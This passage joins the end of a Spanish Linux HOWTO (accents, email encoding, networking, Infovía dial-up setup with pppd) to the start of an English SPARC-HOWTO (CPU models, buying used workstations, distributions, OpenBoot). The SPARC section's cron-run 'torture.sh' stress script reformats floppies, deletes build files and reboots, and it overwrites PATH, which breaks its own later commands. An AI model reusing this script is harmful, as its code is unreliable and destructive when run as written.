Por defecto muestra solamente los caracteres de 7 bits (los de 8 los representa por su código ASCII). Ello protege de ver en pantalla "basura" si por error intentamos leer ficheros binarios, de datos, etc., pero impide ver nuestros acentos. Se puede modificar momentáneamente con el modificador -r desde la propia utilidad, pero sería mejor tener definida la variable de entorno LESSCHARSET=latin1.

ls

Para que muestre los caracteres especiales en los nombres de los ficheros tiene las opciones -8 -N, que se pueden añadir a la variable LS_OPTIONS que probablemente ya tengas definida por defecto.

mc

Este clónico Norton tiene una opción Full 8 bits del submenú Display bits... bajo Options.

nroff, groff

Dispone de una opción -Tlatin1

4.5 Xwindow

El entorno gráfico XWindow usa para configurar el teclado un comando llamado xmodmap que tiene la misma funcion que loadkeys para la consola de texto. Ernest Artiaga (drw@portos.upc.es) preparó un fichero de configuracion para Xmodmap que genera los acentos con la tecla [AltGr], que entre otros sitios puede encontrar en ftp://ftp.cs.us.es/pub/Linux/contrib/Xmodmap-es, y que podemos colocar como $HOME/.xmodmap para que se cargue como parte de nuestra configuración. Existe también una utilidad /usr/lib/kbd/keytables/mk_modmap que genera un listado para Xmodmap a partir del mapa de teclado usado por loadkeys.

De todas formas este método no es perfecto, ya que muchas aplicaciones bajo Xwindow tienen su propia forma de configuración o simplemente no tienen soporte para caracteres extendidos por lo que a veces es posible que podamos usar acentos en una ventana y no en la aplicación de la ventana de al lado.

4.6 Emulador de DOS (DOSEMU)

La linea de configuración del teclado en /etc/dosemu.conf deberá incluir 'layout es-latin1' para poder usar la 'ñ' y las aperturas de interrogación y admiración. Una vez hecho esto, es posible cargar la configuración habitual con keyb sp desde el propio emulador de DOS, o bien ejecutar 'keybes2.com, una pequeña utilidad para el propio emulador disponible en varias de las direcciones habituales.

4.7 Correo electrónico

Por último en relación con el uso del español en Linux, pero no menos importante, es poder leer y recibir por mensajería electrónica textos escritos en español sin deformar su contenido ni perder los acentos y símbolos propios.

El problema se reduce a lo de siempre: el uso de caracteres especiales no incluidos en la tipografía básica sajona requiere trabajar con 8 bits, pero aún hay muchos sistemas que siguen trabajando con 7 bits, lo que trunca o deforma mensajes escritos sin las debidas precauciones.

En el estándar RFC822 que define el formato usado en los mensajes de correo de Internet no se permite el uso de 8 bits en las cabeceras de los mensajes, dejando abierta la posibilidad de 8 bits en el cuerpo del mensaje. Pero tampoco podemos abusar de esa posibilidad ya que no tenemos garantías de que lo respete cualquier sistema que pueda recibir nuestros documentos. Una solución cada vez más extendida, y que permite a los usuarios escribir con libertad y enviar prácticamente cualquier información dejando todos esos detalles al software de gestión del correo (tanto los agentes de usuario como los agentes de transporte en los servidores de correo) es mediante el estandar MIME, que permite codificar nuestros mensajes de 8 bits y reducirlos a caracteres de 7 bits que puedan pasar a través de cualquier sistema sin peligro de perder información. El inconveniente (cada vez menor a medida que este sistema se extienda más y más) es que si intentamos leer un mensaje con codificación MIME sin un software que no implemente este sistema y no pueda interpretarlo, puede que veamos "basura" intercalada con nuestro mensaje, o que incluso no entendamos nada de nada.

MIME deja toda la responsabilidad al software, por lo que si ambos extremos (remitente y destinatario) usan software compatible con MIME, el usuario puede enviar junto a textos simples cualquier combinación de tipos de ficheros (documentos generados por procesadores de textos, gráficos, sonido, video, etc). Ni siquiera es necesario que ambos usen el mismo software. Basta con que ambos sean capaces de generar la codificación durante el envío, y de interpretarla en la recepción.


Spanish Linux HOWTO: Conectividad de Linux

 Next Previous Contents

5. Conectividad de Linux

Uno de los puntos muy fuertes de Linux es su gran conectividad: incluso con recursos modestos en hardware puede ser un hábil servidor de red y convivir practicamente con cualquier configuracion que ya tengamos funcionando en nuestra red. A medida que mejoremos el equipamiento, Linux aprovechará todos los recursos convirtiéndose en un potente centro de servicios. Si no consigo abrirte el apetito de curiosidad, echa un vistazo a las varias How-To sobre el tema o lo lamentaras... :)

Como digno miembro de la familia Unix, el entorno nativo de red en el que ha nacido Linux es el TCP/IP, asi que nos moveremos en Internet y en las redes locales basadas en esta familia de protocolos como pez en el agua. Puede actuar tanto de simple cliente hasta como una potente estacion de trabajo de bajo coste, pasando por un XTerminal con todo su entorno grafico con absolutamente todo el software necesario, ya incluido o de más o menos fácil instalacion.

En el nivel físico (cacharreo para entendernos), Linux puede conectarse con otros Linux o con cualquier otro sistema usando casi cualquier cosa: cableado serie, paralelo, modems convencionales, tarjetas RDSI, Frame Relay, redes locales ethernet ó token ring, radiopaquete (AX.25 para radioaficionados), etc.

En cuanto a protocolos de red, lo que lleva en la sangre es el mencionado TCP/IP, pero puede acceder (como cliente o como servidor, segun los casos) a redes basadas en IPX (Novell), AppleTalk (Macintosh) y SMB (red LanManager para conectar con Windows para trabajo en grupo, Windows 95 y Windows NT). Por si sirve de pista, quien escribe ha hecho ya la prueba de poner un simple PC de gama media como nodo principal para dar servicios de disco, impresoras y, sobre todo, acceso a Internet a una LAN ethernet de 75 puestos de trabajo que usan indistintamente cualquiera de los mencionados protocolos compartiendo indistintamente sus recursos. Y lo mejor de todo es que nadie fue capaz de distinguir desde sus respectivos puestos a Linux del servidor propio que les atendía hasta entonces. De hecho lleva varios meses en uso ininterrumpido y sólo Linux ha sido capaz de hacer simultáneamente de servidor para usuarios Unix, Windows 3.11, Windows 95, NT, DOS, Netware y Mac sin colgarse ni una sola vez y con un coste ridículo. Nadie me garantiza que nunca me vaya a fallar, pero lo doy por modesta pero absolutamente victorioso en comparación con sistemas comerciales teóricamente superiores y con un coste mucho mayor.

Otra situación en la que actualmente uso Linux es como servidor de Web, mail, FTP anónimo (de servicio público a la red) y servicios de salida a Internet para una red local de 2.100 usuarios, también con muy buenos resultados a pesar de la fuerte carga de trabajo contínuo las 24 horas.

5.1 Conectividad casera

Algunas de las situaciones típicas en las que se puede aprovechar la capacidad de trabajo en red de Linux podrían ser:

5.2 Servidor de terminales

¿Quién no tiene en casa un PC (o algo peor) que se ha quedado antiguo pero que aún funciona? Cualquier ordenador con un puerto serie y algun software de emulación de terminal puede conectarse a un Linux, permitiendo varios usuarios trabajando simultaneamente. Para quien no lo haya hecho alguna vez, es la forma más simple de comprobar por sí mismo que Linux es un sistema 100% multiusuario y multitarea. Todos los recursos de memoria, disco, etc. estarán a la vez disponibles para compartirlos entre tantos usuarios como puertos serie tengamos.

5.3 Red PPP

Enlazando ordenadores por puertas serie, paralelo, modems, etc, es posible no solamente que un Linux sea el ordenador principal y otros usuarios accedan a través de simples terminales, sino que es posible aprovechar la capacidad de todos los equipos sumando recursos. Desde un equipo se puede acceder a impresoras, discos, etc. de cualquier otro equipo. El protocolo PPP permite crear una red TCP/IP entre todos ellos, usando como enlace tanto modems como simples cables. A medida que cambiemos la red física por algo mas "decente" como una LAN ethernet o análogo, mejorarán las prestaciones como es lógico, pero la idea es la misma y el software de usuario son idénticos (lo que varía, claro esta, es la configuración del propio sistema operativo).

5.4 Servidor de modems

Combinando los dos apartados anteriores, podemos unir la capacidad de servidor de puertos serie (a los que conectaremos modems) y el protocolo PPP (para dar a esas líneas serie la funcionalidad del TCP/IP). Así podemos dar servicio de acceso a Internet a los usuarios que se nos conecten por teléfono.

5.5 Conexion directa a Internet

Ciertamente no es lo normal en casa, pero es relativamente frecuente encontrarlo en universidades y de un tiempo para acá también es habitual en empresas. Si tenemos una red local enganchada a su vez a un proveedor (académico o comercial), entonces una simple tarjeta de red y una simple configuración del sistema serán suficientes para conectar Linux, que actuará como un ordenador Unix cualquiera, con todas sus ventajas. De hecho en la red encontraremos más de un servidor que esconde un Linux en sus "entrañas", o que precisamente quien nos esté haciendo de proveedor de acceso sea un Linux. Pero hay que tener en cuenta tambien sus inconvenientes de seguridad: igual que podemos conectarnos desde Linux, es perfectamente posible que se conecten a nosotros inadvertidamente, por lo que, salvo que necesitemos mantener abierto algun servicio en particular, es recomendable cerrar "todas las ventanas" para evitar problemas. Algunos buenos consejos para un Linux de uso personal serían:

  • Crea cuentas para los usuarios que realmente vayan a usarlo, y asígnales claves dificilmente adivinables (no hace falta complicarse la vida con claves imposibles, pero tampoco debes ponérselo fácil a los intrusos)
  • Hazte cargo de la clave del administrador root y procura mantenerla a salvo. Si la facilitas a alguien más, mentalízale para que la use con precaución (por otra parte también es una forma de aprender nociones básicas de administración de sistemas...)
  • Ponte como root, edita /etc/inetd.conf y ponle un signo de comentario (#) a todas las lineas excepto aquellas que abran servicios que necesites mantener accesibles; luego haz "killall -1 inetd". No te cortes y cierralo todo, que siempre estaras a tiempo de reabrir aisladamente aquello que eches en falta
  • Aunque te consideres muy capaz de administrar un sistema de este tipo, no tengas la mala costumbre de usar root como usuario habitual con el que te conectes al sistema, o en caso de despiste podrías provocar algun destrozo. Es mas seguro que entres como un usuario "raso" y uses su - root cuando necesites hacer alguna operacion concreta como super-usuario (recuerda usar exit para volver a tu status normal cuando termines lo que tenías que hacer como super-usuario)
  • El sistema va dejando muchos mensajes registrando la actividad de los usuarios y del propio sistema en múltiples ficheros de contabilidad. Muchos de ellos se centralizan a traves del servicio syslogd. En cuanto empieces a desenvolverte un poco con el manual y los comandos básicos para moverte por el sistema, aprende a recoger la información que genere ese servicio, eliminar la inútil, revisar la útil y limpiar la contabilidad de vez en cuando (de lo contrario te puedes dar un susto cuando veas ficheros gigantescos que devoran espacio de disco con información desfasada despues de tanto tiempo)

5.6 Infovía: acceso a Internet desde casa

¿Qué es infovía?

Infovía es una red creada por Telefónica a la que los usuarios acceden desde cualquier punto de la red telefónica española a precio de llamada local. Funciona como una intranet (una red basada en los mismos protocolos que Internet, pero independiente y sin integrarse en ella). No tiene por tanto acceso directo a Internet, pero es un buen intermediario ya que abarata costes tanto para el usuario como para el proveedor de acceso a internet, que aprovecha su infraestructura sin tener que invertir en una red propia. En este sentido es una vía interesante de acceso, pero para evitar confusiones hay que tener presente que Infovía NO es Internet, sino un producto comercial de Telefónica. Aún despues de habernos conectado a Infovía seguimos necesitando un proveedor de acceso a Internet para estar verdaderamente conectados a la red de redes.

Al funcionar igual que Internet (el software de Infovía no es más que un PPP y un navegador de web, que utiliza como interfaz de usuario) es perfectamente posible usar Linux para conectarse, pero surge el problema típico de configuración: Telefónica facilita su software gratuito para entornos comerciales típicos (Windows 3.11, Windows95 y Macintosh) que Linux no necesita (ya lo tiene). Pero Linux lo que necesita es conocer la configuracion de su red, para poder integrarse en ella.

¿Como conectar entonces?

El software básico es el pppd, que a través del modem creará un enlace TCP/IP entre nuestro ordenador e Infovia. Una vez creado, podremos contactar con nuestro "verdadero" proveedor, quien nos abrirá las puertas a Internet, y a partir de ese momento ya podremos usar cualquiera de nuestras propias aplicaciones habituales desde Linux. Como complemento de pppd usaremos una utilidad chat que se encargara de dialogar via modem con el ordenador remoto al comienzo de la llamada, mientras se establece la conexión. También intervendrán varios ficheros de configuración (unos genéricos de Linux para cualquier conexión TCP/IP, otros característicos de las conexiones a través de PPP y modem, y por último alguno que usemos en el caso concreto de Infovía). Un detalle sobre versiones de software: un inconveniente en la evolución de Linux ha sido un cambio en la implementación del PPP que hace incompatible algunos pppd con algunas versiones del kernel. Si nuestro núcleo está entre 1.2.13 y 1.3.95 debemos usar un pppd 2.1.2d o superior, mientras que necesitaremos un pppd 2.2.0e o superior para los núcleos más recientes.

El listado siguiente es un ejemplo del fichero principal de configuración de pppd, en el que a su vez se hace referencia a varios ficheros que deberemos crear: identificación y clave facilitada por el proveedor de acceso, el guión de inicio de conexión, y el de cierre y cuelgue del modem. /dev/modem es un enlace (un "symbolic link") que usaremos como nombre genérico para el modem, y que debe apuntar al nombre del dispositivo real en el que lo tengamos conectado.

/etc/ppp/options:

  modem passive crtscts noipdefault defaultroute
  lock lcp-echo-interval 15 lcp-echo-failure 5 mtu 1500
  +ua /etc/ppp/infovia.pass
  connect "/usr/sbin/chat -v -f /etc/ppp/infovia.chat"
  disconnect "/usr/sbin/chat -v -f /etc/ppp/infovia-off.chat"
  /dev/modem 38400

/etc/ppp/infovia.pass es un fichero con simplemente dos líneas, una con el login (identificación de usuario) y otra con la clave. Para acceder a Internet deberemos introducir en ambos casos lo que indique el proveedor, mientras que si sólo vamos a navegar por Infovía (sin salir a Internet) es suficiente con poner infovia como usuario genérico e infovia como clave.

/etc/ppp/infovia.chat contiene el guión que utilizará chat en su diálogo con el modem. Un ejemplo de su contenido podría ser:

  TIMEOUT 6
  ABORT '\nBUSY\r'
  ABORT '\nNO ANSWER\r'
  ABORT '\nNO CARRIER\r'
  ABORT '\nRING\r\n\r\RING\r'
  ABORT '\nNO DIALTONE\r'
  ''    ATDP055
  'CONNECT'

En el ejemplo anterior se usa marcación por pulsos. Si fuera por tonos sustituir ATDP por ATDT. Además, si al número 055 de llamada a Infovía hubiera que añadir algún prefijo de centralita o cualquier otra marcación especial, no hay más que incluirlo en el listado. Por su parte el de cierre de conexión y reseteo del modem sería algo así:

/etc/ppp/infovia-off.chat:

  TIMEOUT 3
  ''    '\r'
  '\r'  '+++\c'
  '\r'  ATH0
  OK    ATH0
  OK


Spanish Linux HOWTO: Direcciones útiles

 Next Previous Contents

6. Direcciones útiles

6.1 Direcciones electrónicas

Esta seccion es la que previsiblemente cambiara con mas frecuencia, dado el fuerte auge de Linux y la consiguiente mayor disponibilidad de material para Linux en castellano. Esto es solo un ejemplo para empezar en esta primera edicion...

WWW

Linux/España

En Sevilla, el servidor más veterano, con mirrors de LDP/WWW, Slackware, Sunsite, Linux/PPC (la sede para Europa de linuxppc.org), MkLinux (Linux para Powermac), RedHat (para PC y Alpha), etc.

Grupo de Usuarios de Informática

En Valladolid, con mirrors de LDP/WWW, Slackware, Sunsite y manuales traducidos.

Página de Juan José Amor

En Madrid, traducciones de las How-To.

Linux Spanish Manpages

Traducción del manual del sistema.

FTP Anonimo

Grupos de noticias

Listas de correo

Aparte de las numerosísimas listas de correo en inglés (desde las más genéricas hasta las más especializadas en temas muy concretos), en España hay actualmente dos listas dedicadas a Linux en general:

  • linux@hades.udg.es en Girona. Persona de contacto para mas información: Paco Culebras Amigo paco@hades.udg.es
  • l-linux@cic.teleco.ulpgc.es en la escuela de Teleco en Las Palmas.

En Fidonet

Si Internet te queda muy lejos pero lo tuyo es Fidonet, entonces probablemente ya sabrás que existe un area R34.LINUX con bastante actividad (¡es una de las areas más animadas! ;^) Mucha de la información distribuida en Internet tiene su réplica en Fidonet, además del valioso soporte mútuo entre los propios usuarios.

  • Europa III 2:346/207
  • Elektra 2:345/422 (+34)(5) 416 4934
  • La Voix 2:345/410 (+34)(5) 427 5321

6.2 Direcciones de Firmas comerciales

Poco a poco va creciendo el numero de empresas que prestan atencion al pujante Linux y desarrollan aplicaciones, ofrecen soporte tecnico y/o venden algunas de las distribuciones en CDROM que se mencionaban anteriormente.

En Madrid

  • ABC Analog (91) 634 20 00
  • Sertec Informatica (91) 364 23 88
En Barcelona

  • CD-Ware (93) 302 04 35
En Bilbao

  • Kender (94) 476 19 22
En Valencia

  • Encis-Net (96) 351 25 88

6.3 Bibliografía.

  • Linux Edición Especial, por Jack Tackett, David Gunter y Lance Brown. Editado por Prentice Hall Hispanoamericana, 1996. ISBN 968-880-580-7. Incluye un CD con Slackware 2.20.
  • The Linux programmer's guide, por Sven Goldt, Sven van der Meer, Scott Burkett, Matt Welsh.


Spanish Linux HOWTO: Copyright

 Next Previous Contents

7. Copyright

Copyright (c) Gonzalo García-Agulló 1996. Elaborado a partir de experiencia propia y de información recopilada a través de Internet. Vayan mis agradecimientos para Paco Culebras Amigo y Antonio L. Delgado Gonzalez, buenos linuxeros alla donde los haya.

Este documento se publica bajo la Licencia General GNU, lo que permite su libre distribución gratuita siempre que se conserve en su integridad y se retenga el copyright original.


SPARC-HOWTO.

Lionel, trollhunter Bouchpan-Lerust-Juéry <trollhunter@linuxfr.org>

v0.0.3 November 2000

The SPARC family of microprocessors is a very good implementation of the RISC design, SPARC based workstations are usually very well engineered products, thus Linux on SPARC is a winning combination both in performance and ease of use. Actually this combination is not as widspread as the Linux/x86; this HOWTO should help you step by step to make an informed decision: try it you will not regret it.

1. Preface.

2. SPARC, which one ?

  • 2.1 Sun SPARC
  • 2.2 Super SPARC
  • 2.3 Micro SPARC
  • 2.4 Hyper SPARC
  • 2.5 Ultra SPARC
  • 2.6 Deciphering the CPUs

3. Buying a SPARC workstation.

  • 3.1 Gaigning a visual familiarity with SPARC hardware
  • 3.2 Sun made hardware or clones ?
  • 3.3 Where to buy.
  • 3.4 Checklist

4. Linux on SPARC: 2 kernels.

5. Choosing a distribution.

  • 5.1 Caldera Open Linux.
  • 5.2 Debian GNU/Linux.
  • 5.3 Linux Mandrake.
  • 5.4 RedHat Linux.
  • 5.5 Slackware Linux.
  • 5.6 SuSe Linux.
  • 5.7 TurboLinux.

6. Working with the Openboot.

  • 6.1 What is the OpenBoot?
  • 6.2 Diagnostics commands.
  • 6.3 Boot commands.
  • 6.4 Misc commands.

7. Hard drive buses.

  • 7.1 SCSI-SCA.
  • 7.2 EIDE.
  • 7.3 FC-AL

8. CDROM: specific settings.

9. SILO.

10. Keyboard and mouse.

11. X Window.

12. SMP.

13. The sound.

14. Serial port.

15. Ressources.

  • 15.1 Information sites.
  • 15.2 Auction sites.

16. Thanks.

17. Copyright, Disclaimer and Trademarks

  • 17.1 Copyright.
  • 17.2 Administrativia.

18. Revision History.


SPARC-HOWTO.: Preface.

 Next Previous Contents

1. Preface.

This document is a step by step guide meant to provide information in order to help you running Linux on SPARC based workstations, As these computers are quite different from PCs there is an hardware section, this should help you on understanding, how they work, what to expect from the various CPUs and models.

I am not a SPARC specialist, nor a Solaris or Linux guru, I am just someone who is realy found of well engineered product, and I wish to help you in choosing your hardware and finding information. Thus I have tried to write down this document in order to ease your path.

I hope this document will help you and you will have a lot of fun with your SPARC Workstation.


SPARC-HOWTO.: SPARC, which one ?

 Next Previous Contents

2. SPARC, which one ?

We are only dealing with, SPARC based workstations, in order to check, just type uname -m command and you should read something like sparc4x where x is blank,c,d,m,u if the system runs Solaris, or sparc for 32 bits SPARC architectures and sparc64 for 64 bits SPARC architectures if it runs Linux. 2.2.x

SPARC stands for Scalable Processor ARChitecture, it derives from research done between 1984-1988 on the RISC architecture at UC Berkeley. It exists 3 versions of this archiecture, SPARC-V7, SPARC-V8 ( 32 bits ) and SPARC-V9 ( 64 bits ). As you are likely to encounter a lot of implementations of the SPARC architecture, I have summarized the main features of theses processors.

2.1 Sun SPARC

This is quite obsolete, it is an implementation of the SPARC-V7 ; its main feature are an Integer unit ( IU ), an external Floating Point Unit ( FPU ), an unified data + instruction 64KB direct associative cache, and an Memory Managment Unit ( MMU ). There is a 4 stage pipeline for the integer instructions ( fetch F, decode D, exec E, update WB ) FPU and IU are synchronized

2.2 Super SPARC

This is Texas Instrument and Sun's brainchild, it is usualy found at clok rates around 50Mhz featuring up to 1MB L2 cache, it is available both on single and dual processor modules ( SparcStation 10 and SparcStation 20 ). The higher clock frequency I have encountered is 60Mhz.

On a technical point of view this is a SPARC-V8 implementation, it is a superscalar processor, having 2 caches, one for instruction the other one for data.

  • The 20kB instruction cache is a 5 way associative.
  • The 16KB data cache is 4 way associative.

2.3 Micro SPARC

This is once again Texas Instrument and Sun's brainchild, you can find it in the SparcStation Classic, SparcStation LX, at frequency up to 50Mhz. Its derivative the Micro SPARC II can be found in SparcStation 4, SparcStation 5 at frequencies up to 110Mhz.

On a technical point of view, its main features are a high level of integration, having 2 caches, one for instructions, the other one for data.

  • A 4KB instruction direct associative cache.
  • A 2KB data direct associative cache.

It is not possible to had an L2 cache. If wish to learn more about the MicroSPARC processor you can browse Sun's Ultra SPARC ressources.

2.4 Hyper SPARC

This processor was introduced by ROSS in 1993, it is usualy found in the SparcStation 10, and SparcStation 20, at frequencies up to 150Mhz ( I have heard of 200Mhz dual processor modules, but Have not witnessed one yet ). It can be found on single or dual processor modules.

On a technical point of view it is an implementation of the SPARC-V8, it is superscalar. It can be found with L2 cache up to 512KB

2.5 Ultra SPARC

The Ultra SPARC processor is an extension of the SPARC-V9 architecture, it is a 64 bits processor, it features some video processing instructions. It is found in all the workstation whose name start with Ultra.

The Ultra SPARC II is an improvement of the Ultra SPARC, the Ultra SPARCIII is actually the second generation of Ultra SPARC processors, it was first introduced in the SunBlade 1000 Workstation. If wish to learn more about the UltraSPARC processors you can browse Sun's Ultra SPARC ressources.

You may read the CPU-Design-HOWTO, this HOWTO has a lot of interesting links when it comes to studying the CPUs.

To summarize, the 32 bits workstations are the:

  • The sun4 workstation is the sun4/330 model.
  • The sun4c workstations are the SparcStation 1,2, IPC and IPX models.
  • The sun4m workstations are the SparcStation 5, 10 and 20.
Only the SparcStation 10 and SparcStation 20 are SMP capable: up to 2 CPU modules.

For more information on the SparcStation 5, 10, 20 you can read Sun's documentation online or download it available.

The following model have an 64 bits UltraSPARC architecture ( sun4u ). SunUltra 1, 2, 5, 10, 30, 60, 80 and SunBlade 1000. The SunUltra 2, 60, 80 and SunBlade 1000 are SMP capable, with the Ultra 80 and SunBlade 1000 accepting up to 4 CPU modules, the SunUltra 2 and 60 accepting only 2 CPU modules.

The SunBlade 1000 is the latest one featuring Sun's latest marvel the Ultra III CPU, at a premium price of course. You can have a summary of the UltraWorkstation still in production at Sun's website.

A lot of information has been compiled in the Sun hardware reference that is found on AcesHardware's website, or on SunHelp 's website.

2.6 Deciphering the CPUs

At first, a reference like SM61 or RT-200-D-125/512 seems to be, to say the least, quite cryptic. Actually, understanding theses references is really easy.

Ross Technology.

Theses CPUs's naming scheme is RT-a00-b-freq/cache where

  • a is a digit:
    • 1 SparcStation 10.
    • 2 SparcStation 20.
    • 6 SPARC MP600 ( not exactly a workstation ).
  • b is a letter:
    • D Dual CPU.
    • Q Quad CPU.
    • S Single CPU.
  • freq The frequency expressed in Megahertz.
  • cache The amount of cache memory expressed in Kilobytes.

When theses modules are in a workstations the naming convention is HSxy, for example ywing is a SparcStation 20 HS22, thus it is easier to have a look inside the workstation.

SM modules.

This table is extracted from the FAQABOSS

Name  Speed( MHz )  Cache( MB ) Number of    SuperSparc
                                 Processors   Series

SM20       33            0            1          I
SM30       36            0            1          I
SM40       40            0            1          I
SM41       40            1            1          I
SM50       50            0            1          I
SM51       50            1            1          I
SM512      50            1            2          I
SM51-2     50            2            1          I
SM61       60            1            1          I
SM61-2     60            2            1          I
SM71       75            1            1          II
SM71-2     75            2            1          II
SM81       85            1            1          II
SM81-5     85            2            1          II

Warning: the SM100 is a RT-600-D-40

Cypress.

Cypress manufactured SPARC compliants processors; AFAIK their naming scheme is CYnnn.

As you can see, this is easy to understand.


SPARC-HOWTO.: Buying a SPARC workstation.

 Next Previous Contents

3. Buying a SPARC workstation.

You have decided to buy a SPARC based workstation, now you can tell what CPU each model sports, but can you tell how that particuliar model looks like? How its is inside?

Do not worry, this section will help you on that topic as well as providing you with some hints on how to inspect and test the hardware.

3.1 Gaigning a visual familiarity with SPARC hardware

PC hardware is everywhere and usualy one is quite familiar with it, this is not exactly the case with SPARC based hardware, even more when it comes to the innards of a workstation. The good news is that it exists some sites on the web, where you can find pictures of Sun hardware, with some very detailed shots, thus you should be able to instantly identify the model and its condition prior to buy it. The two main site where I usualy go are:

  • sun In Sun's database, you can find technical data as well as picture of some of Sun's product, the pictures are crisp, and the hardware is always at its best, this is technicaly interesting, in order to compare brand new hardware and the used one that is usualy featured on the two sites below.
  • HAL This site features very detailed pictures of a lot of hardware, from CPU modules to Servers, even mice.
  • obsolyte This site has different pictures, it is very useful too.

3.2 Sun made hardware or clones ?

On the one hand, it is very easy to find information on Sun hardware, while it can be difficult to find it for clone systems on the other hand it should be more fun to work with exotic hardware.

Clone systems have been or are still manufactured, at least by:

  • Fujitsu.
  • Ross
  • Tadpole/RDI manufactures SPARC based laptops.
  • Tatung
  • Toshiba, used to manufacture SPARC based laptops: The AS1000.

3.3 Where to buy.

Of course if you buy first hand hardware everything should be fine, but if you decide to go for second hand hardware, you will have to decide how you want to buy it, and you should be able to test it by yourself.

Second hand hardware can be brought from Sun as refurbished hardware, at auction websites, or in specialised stores, or directly from companys that upgrade their hardware.

3.4 Checklist

When it comes to second hand hardware one has to be as cautious as possible about the source, and the condition of that hardware.

For the source of the hardware, if you can track it, it is a very good point. If you can't track it, it is up to you to decide if you trust the seller or not ( If the seller cannot give you the reference of the hardwre and if, obviously he/she is clueless about Sun hardware, you should switch to condition red ).

Another interesting point is to see if check is accepted as a payement.

If you can check the hardware before buying it then first have a general look at it, search for cracks, for stains; check the connector's pin. If this first inspection is OK, then ask to see the inside, look for spills, watch carefuly the connectors, then if it is OK ask to see it running, watch carefully boot messages, issue the dmesg|more or if it runs Solaris you can issue the more /var/adm/messages command, and also very important listen to your computer, do you hear unusual noises? Does it smell OK?. Then enter the OpenBoot by the stop+a command and run some tests ( see the OpenBoot section ). When you have decided to purchase it, it is very important that you always make sure that the workstation you are purchasing is the one you have tested: always keep an eye on it, do not let someone go to the backoffice with it for example, do not accept to leave without your workstation.

Then, when you are at home, recheck it as if it was the first time you see it. If it comes with CDROM drive, try to mount/umount a few CDs and read them in order to check that device. If there is a floppy disk read/write/format a few floppys, this should be a good test.

Of course, it exists tools to automaticaly test the hardware, but usualy you do not have them when you need them, thus the script below relies only on ressources provided by a Linux base system.

You should run the following script for three days, basicaly it is going to use the CDROM, floppy and hard drive, and to reboot the computer every 3 hours. This should stress it,

#
# Enter this in the crontab(5)
# run the torture.sh script every 3 hours if possible
#
0 */3 * * * /root/torture.sh
Where torture.sh is
#!/bin/sh

#
# these are for controlling the loops
# the CDLIMITS and FDLIMITS
# are for the CD and FD loops
#
CPT=1
CDLIMIT=3
FDLIMIT=10

#
# to which devices are
# CDROM and floppy attached
#
CDROM=/dev/sr0
FLOPPY=/dev/fd0

#
# where is the program we
# intend to compile

PATH=/path_to_big_package_to_compile

#
# this section si meant to
# test the CDROM and floppy drives
# comment what you do not need to
# test

while [ $CPT -le $CDLIMIT ]
do
 #
 # CDROM drive
 #

 mount -rt iso9660 $CDROM /cdrom
 find /cdrom -exec cat {} \; >>/dev/null 2>/dev/null &
 umount /cdrom
 CPT=$(($CPT+1))
done

 #
 # floppy drive
 #
CPT=1
while [ $CPT -le $FDLIMIT ]
do
 mke2fs -c $FLOPPY >/dev/null 2>&1
 mount -t ext2 $FLOPPY /floppy
 cd /bin/
 cp dd ps echo sh /floppy
 find /floppy -exec cat {} \; >>/dev/null 2>/dev/null &
 umount /floppy
 CPT=$(($CPT+1))
done

#
# The big, intensive
# compilation
#

cd $PATH

#
# now compile
#
make

#
#
# we remove every .a .o .s and every executable
#

find $PATH -name "*.[aos]" -exec rm -f {} \; >/dev/null 2>&1
find $PATH -exec test -x {} \; -exec rm -f {} \; >/dev/null 2>&1

#
# time to reboot
#
reboot

Of course you should run this script once in order to know how much time it takes to complete, this is just an idea on how to automate things.


SPARC-HOWTO.: Linux on SPARC: 2 kernels.

 Next Previous Contents

4. Linux on SPARC: 2 kernels.

Actually Linux on SPARC architecture comes in two flavors:

  • A 32 bits kernel for the Sun SPARC, Super SPARC, Micro SPARC and Hyper SPARC Processors.
  • A 64 bits kernel for UltraSPARC based workstations.
In both case most applications run in 32 bit ( 32 bit userland ). There is a comprehensive FAQ on UltraLinux's website.


SPARC-HOWTO.: Choosing a distribution.

 Next Previous Contents

5. Choosing a distribution.

You are very lucky, it seems that you can pick the one you like. In order to help you with this task here are some links, that should help you to make an informed decision.

5.1 Caldera Open Linux.

The 2.2 release of OpenLinux for SPARC platform can be downloaded at

ftp://ftp.openlinux.org/pub/sparclinux/

You can join the mailing list by sending a mail to < majordomo@openlinux.org > with subscribe sparclinux in the body.

5.2 Debian GNU/Linux.

Debian GNU/Linux runs on SPARC platform; you can find a lot of informations about this port at the http://www.debian.org/ports/sparc/ webpage

You can join the mailing list by sending a mail to < debian-sparc-request@lists.debian.org > with subscribe as the subject.

5.3 Linux Mandrake.

Mandrake corporate server for SPARC can be downloaded at ftp://rpmfind.net/linux/Mandrake/iso/corporate-1.0/sparc

It consists of two ISOs, the core distribution is the *inst.iso one and the other one, *ext.iso, is the extension CD.

5.4 RedHat Linux.

The latest RedHat Linux distriution is the 6.2; you can download it at ftp://rufus.w3.org/linux/redhat/redhat-6.2/sparc/ for example.

The mailing list can be joined by sending a mail at

< sparc-list-request@redhat.com > with subscribe as the subject.

At the time of this writting RedHat has announced its intention not to support anymore SPARC Linux in the future.

5.5 Slackware Linux.

This distribution is unsupported at the time of this writting, and is not available as ISO. You can download it at ftp://ftp.slackware.com/pub/slackware/unsupported/protopkg/

5.6 SuSe Linux.

The SuSe Linux 7.0 distribution is quite complete, you have 4 ISOs to download. You can grab it at the following URL: ftp://ftp.suse.com/pub/suse/sparc

You can join the mailing list by sending a blank mail to < suse-sparc-subscribe@suse.com >

5.7 TurboLinux.

TurboLinux Workstation 6.1 for intel ships with a SPARC developper release CD.

To install Linux on a SPARC based computer, should be strightforward if you follow the informations provided by your distribution.

To boot from a floppy drive you have to have an install image on a floppy disk and to issue the boot floppy from the OpenBoot.

If your workstation does not have a CDROM or a floppy drive, you can always try to perform a network installation using NFS as explained by this French document: http://www.linux-france.org/article/materiel/sparc-install/Sparc-netinstall.html . Basicaly, you have to set up an NFS server and to boot your workstation using the boot net vmlinux nfsroot=192.168.52.12:/tmp in order to access the image that is exported by the 192.168.52.12 workstation on the /tmp directory.


SPARC-HOWTO.: Working with the Openboot.

 Next Previous Contents

6. Working with the Openboot.

In this section, I will give you an overview of what is the OpenBoot, and you will be given the main commands you need to know in order to test your hardware and to install Linux.

6.1 What is the OpenBoot?

If you are used to PC hardware, you are used to interact with its BIOS. SPARC computers have an Openoot, it may seem to be like your BIOS, but it is actually far more powerfull. The Openoot performs the following tasks:

  • Testing and initializing the hardware.
  • Starting the operating System.
  • Giving you acces to a set of tools to program and to debug it.
The programming language is FCode, if you can program the Forth langage, you can program it.

